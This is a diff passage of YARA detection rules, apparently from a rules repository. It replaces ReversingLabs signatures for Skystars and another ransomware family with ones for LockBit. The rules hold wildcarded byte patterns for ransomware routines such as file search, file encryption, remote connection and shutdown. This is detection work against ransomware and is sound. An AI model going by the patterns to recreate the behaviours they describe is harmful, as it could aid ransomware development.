-            ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ??
-            ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68
-            ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 33 F6 8D 51 ?? 66 8B 01
-            83 C1 ?? 66 3B C6 75 ?? 2B CA 8B 15 ?? ?? ?? ?? D1 F9 8D 72 ?? 8A 02 42 84 C0 75 ??
-            8B 3D ?? ?? ?? ?? 2B D6 8D 04 0A 8D 34 45 ?? ?? ?? ?? 56 6A ?? FF D7 50 FF 15 ?? ??
-            ?? ?? 8B D8 8D 04 36 50 6A ?? 89 5C 24 ?? FF D7 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ??
-            ?? 8B F8 FF 35 ?? ?? ?? ?? 89 7C 24 ?? 68 ?? ?? ?? ?? 56 53 E8 ?? ?? ?? ?? 33 C9 89
-        }
-		$remote_connection_p2 = {
-            44 24 ?? 83 C4 ?? 89 8C 24 ?? ?? ?? ?? 8B D9 85 C0 7E ?? 8B 44 24 ?? 0F B7 04 58 66
-            89 84 24 ?? ?? ?? ?? 83 F8 ?? 75 ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? BE
-            ?? ?? ?? ?? 83 C3 ?? A5 A5 66 A5 EB ?? 8D 94 24 ?? ?? ?? ?? 8B F2 66 8B 02 83 C2 ??
-            66 3B C1 75 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3
-            A5 8B CA 83 E1 ?? F3 A4 33 C9 8B 7C 24 ?? 43 3B 5C 24 ?? 7C ?? FF 74 24 ?? 51 FF 15
-            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6 FF 35 ?? ?? ?? ?? 33 C0 50 FF 15 ?? ?? ?? ??
-            50 FF D6 8B 5C 24 ?? 53 33 DB 53 FF 15 ?? ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ??
-            ?? ?? ?? 50 FF D6 FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 50 FF D6 8B 5C 24 ?? 89 3D ?? ??
-            ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF E9 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0
-            0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 8B F3 89 5C 24 ?? 8D 4E ?? 8A 06 46 84
-            C0 75 ?? 8B 3D ?? ?? ?? ?? 2B F1 68 ?? ?? ?? ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 89
-            44 24 ?? 85 DB 0F 84 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ??
-            ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B C8 8B F8 3B FE 73 ?? 81 F9 ?? ?? ?? ?? 74 ?? FF 74
-            24 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 04 1F 50 E8
+		$entry_point = {
+            55 8B EC 56 8B 75 ?? 57 83 FE ?? 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 8B F8 85 F6 75 ?? E8 ??
+            ?? ?? ?? 8B C7 5F 5E 5D C2
         }
-		$encrypt_files_p1 = {
-            8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 53 68 ?? ?? ?? ?? 6A ?? 53 6A ?? 8B CA 83
-            E1 ?? 68 ?? ?? ?? ?? F3 A4 50 FF 15 ?? ?? ?? ?? 8B D8 33 FF 89 5C 24 ?? 89 3D ?? ??
-            ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 FB ?? 74 ?? 85 DB 0F 85 ?? ?? ?? ?? 33
-            F6 8D 8C 24 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? BE ?? ?? ?? ?? 50
-            8D 44 24 ?? 8B D6 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B CE E8 ?? ?? ?? ?? 33 D2
-            8D 88 ?? ?? ?? ?? 8D 81 ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8B 44 24 ?? C1 E8 ?? 89
-            44 24 ?? 83 C0 ?? 89 44 24 ?? 8B F0 8B C1 F7 F6 40 0F AF 44 24 ?? 50 6A ?? 89 44 24
-            ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ??
-            8D 44 24 ?? 83 C4 ?? 81 C2 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 39 5C 24 ?? 76 ?? 8B 44 24 ?? 8D
-            54 24 ?? 8B 4C 24 ?? 2B C3 3B 44 24 ?? 0F 42 F0 8D 84 24 ?? ?? ?? ?? 50 8B 44 24 ??
-            8D 0C 39 68 ?? ?? ?? ?? 03 C3 56 50 E8 ?? ?? ?? ?? 03 7C 24 ?? 83 C4 ?? 03 DE 3B 7C
-            24 ?? 72 ?? 33 FF 8D 84 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 83 FB ?? 74 ?? 85 DB 74 ?? 57 8D 44 24 ??
-            89 7C 24 ?? 8B 3D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF D7 33 F6 8D 44
+		$shutdown_pattern = {
+            55 8B EC 83 EC ?? 8D 45 ?? 56 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0
+            75 ?? 33 C0 EB ?? 8D 45 ?? 33 F6 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 56 56 8D
+            45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 56 56 56 68 ?? ?? ?? ?? FF D0 33 C0 83 C4 ?? 40 5E 8B
+            E5 5D C3
         }
-		$encrypt_files_p2 = {
-            24 ?? 56 50 FF 74 24 ?? FF 74 24 ?? 53 FF D7 33 FF 68 ?? ?? ?? ?? 57 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 50 FF D6
-            FF 74 24 ?? 57 FF 15 ?? ?? ?? ?? 50 FF D6 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ??
-            ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 F6 56 53 FF 15 ?? ?? ?? ?? 3D ??
-            ?? ?? ?? 76 ?? 39 35 ?? ?? ?? ?? 75 ?? 56 53 FF 15 ?? ?? ?? ?? 56 8B F8 B8 ?? ?? ??
-            ?? 56 50 53 2B F8 FF 15 ?? ?? ?? ?? 57 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            56 8D 8C 24 ?? ?? ?? ?? A3 ?? ?? ?? ?? 51 57 50 53 FF 15 ?? ?? ?? ?? 33 C0 50 50 50
-            53 FF 15 ?? ?? ?? ?? 33 F6 8D 84 24 ?? ?? ?? ?? 56 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            53 FF 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF
-            15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ?? 89 5C 24 ?? FF 15 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 50
-            FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 59 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ??
-            50 FF 15
+		$sectionxxxx_pattern = {
+            83 EC ?? 53 55 8B C2 89 4C 24 ?? 56 57 8B C8 89 44 24 ?? 33 D2 E8 ?? ?? ?? ?? 85 C0
+            74 ?? 0F B7 48 ?? 8B FA 83 C1 ?? 03 C8 0F B7 40 ?? 89 44 24 ?? 85 C0 74 ?? BE ?? ??
+            ?? ?? 2B F1 80 39 ?? 8D 59 ?? 6A ?? 5D 75 ?? 85 ED 74 ?? 0F BE 2C 1E 0F BE 03 43 3B
+            E8 74 ?? 83 C1 ?? 83 EE ?? 47 3B 7C 24 ?? 72 ?? 8B CA 85 C9 74 ?? 8B 51 ?? 8B 5C 24
+            ?? 8B FB 03 54 24 ?? 8B F2 8B 4A ?? A5 83 C1 ?? 03 CA 89 4B ?? A5 A5 8B 43 ?? 8D 72
+            ?? 89 43 ?? 8B 43 ?? 89 43 ?? B8 ?? ?? ?? ?? 89 73 ?? 66 39 01 74 ?? 8B 7A ?? 8B 2A
+            03 7A ?? 74 ?? 33 DB 43 2B DE 33 D2 8D 0C 33 8B C5 F7 F1 30 16 46 4F 75 ?? B2 ?? 5F
+            5E 5D 0F B6 C2 5B 83 C4 ?? C3
         }
-		$find_files = {
-            53 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 35 ?? ?? ?? ?? FF D6 83 C4 ?? 53 8D 85 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 85 F6 0F 84 ?? ??
-            ?? ?? 33 DB B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ??
-            66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C3 EB ?? 1B C0 83
-            C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75
-            ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B
-            C3 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ??
-            F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3
-            A5 6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 66 A5 6A ?? 59 BE ?? ?? ?? ?? 8D
-            BD ?? ?? ?? ?? F3 A5 66 A5 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 50 E8 ?? ??
-            ?? ?? 59 8B F0 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ??
-            ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ??
-            59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? FF 75 ??
-            8B 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 75 ?? E9 ?? ?? ?? ?? FF 75 ?? E9 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 66 39 1F 0F 84
+		$crypt_gen_pattern = {
+            55 8B EC 53 57 8B 7D ?? 8D 45 ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 50 89 1F FF 15 ??
+            ?? ?? ?? 85 C0 75 ?? 6A ?? 58 EB ?? 56 FF 75 ?? 8B 75 ?? 56 FF 75 ?? FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? 6A ?? 58 EB ?? 53 FF 75 ?? FF 15 ?? ?? ?? ?? 89 37 33 C0 5E 5F 5B 5D
+            C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*)))
+		uint16(0)==0x5A4D and ($entry_point at pe.entry_point) and $shutdown_pattern and $sectionxxxx_pattern and $crypt_gen_pattern
 }
-rule REVERSINGLABS_Win32_Ransomware_Skystars : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Lockbit : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Skystars ransomware."
+		description = "Yara rule that detects LockBit ransomware."
 		author = "ReversingLabs"
-		id = "9dc19bda-c5bd-58fb-8c4f-a7d8a6fbbce9"
-		date = "2020-11-20"
-		modified = "2020-11-20"
+		id = "9a6405dc-da1f-5426-a424-a73bceb1928c"
+		date = "2022-03-31"
+		modified = "2022-03-31"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Skystars.yara#L1-L97"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "352d22183b0974908ce684725fe85b4714ac5959c3bddf093b54383195881a5a"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.LockBit.yara#L1-L282"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "030222bd659c7e0e03858fa062067b1483aca3b7973cce19a1e7cdbb48d4405c"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41381,171 +41235,243 @@ rule REVERSINGLABS_Win32_Ransomware_Skystars : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Skystars"
+		tc_detection_name = "LockBit"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50
-            6A ?? 6A ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB
-            74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ??
-            83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ??
-            ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D
-            ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ??
-            8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A
-            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ??
-            53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF 33
+		$enum_resources_v1 = {
+            55 8B EC 83 EC ?? 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 51 6A ?? 6A ?? 6A ?? C7 45 ??
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 15 ?? ?? ??
+            ?? 8B F8 89 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 56 FF 75 ?? 6A ?? 57 E8 ?? ?? ?? ?? 83
+            C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            33 DB 39 5D ?? 76 ?? 8B F7 0F 1F 80 ?? ?? ?? ?? F7 46 ?? ?? ?? ?? ?? 74 ?? 8B CE E8
+            ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 45
+            ?? FF 70 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 8B 45 ?? FF 70 ?? 57 E8 ?? ??
+            ?? ?? 83 C4 ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B
+            0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? F0 FF 05 ?? ?? ?? ?? 8B 7D ?? 43 83 C6 ?? 3B 5D
+            ?? 72 ?? E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 5B 85 C0
+            75 ?? B8 ?? ?? ?? ?? 5F 8B E5 5D C3 33 C0 5F 8B E5 5D C3
         }
-		$search_files_p2 = {
-            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ??
-            ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ??
-            53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4
-            ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ??
-            ?? EB ?? B8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8B 5D ?? FF
-            33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D
-            ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ??
-            6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74
-            ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
+		$find_files_v1_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B C1 C7 45 ?? ?? ?? ?? ?? 57 50 89 45 ?? 33 C9 8D
+            45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 66 89 4D ?? 50 FF 15 ?? ?? ?? ?? 83
+            C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ??
+            ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 33 C0 8B 35 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D
+            45 ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 45 ?? 50 FF D3 85 C0
+            0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 50 FF D3 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D3 85
+            C0 0F 84
         }
-		$encrypt_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03
-            85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68
-            ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 5D ?? FF
-            33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 68 ?? ??
-            ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ??
-            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ??
-            85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ??
-            ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ??
-            8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0
-            75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50
-            68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74
-            ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
+		$find_files_v1_2 = {
+            45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 33 C9 66 39 8D ?? ?? ?? ?? 74 ?? 8D 40 ?? 41 66 83 38 ?? 75 ??
+            83 F9 ?? 0F 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 56 68 ?? ??
+            ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ??
+            56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? FF D3 85 C0 0F 84
         }
-		$main_routine = {
-            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ??
-            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D
-            ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 45 ?? 50
-            E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 89 45
-            ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
-            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
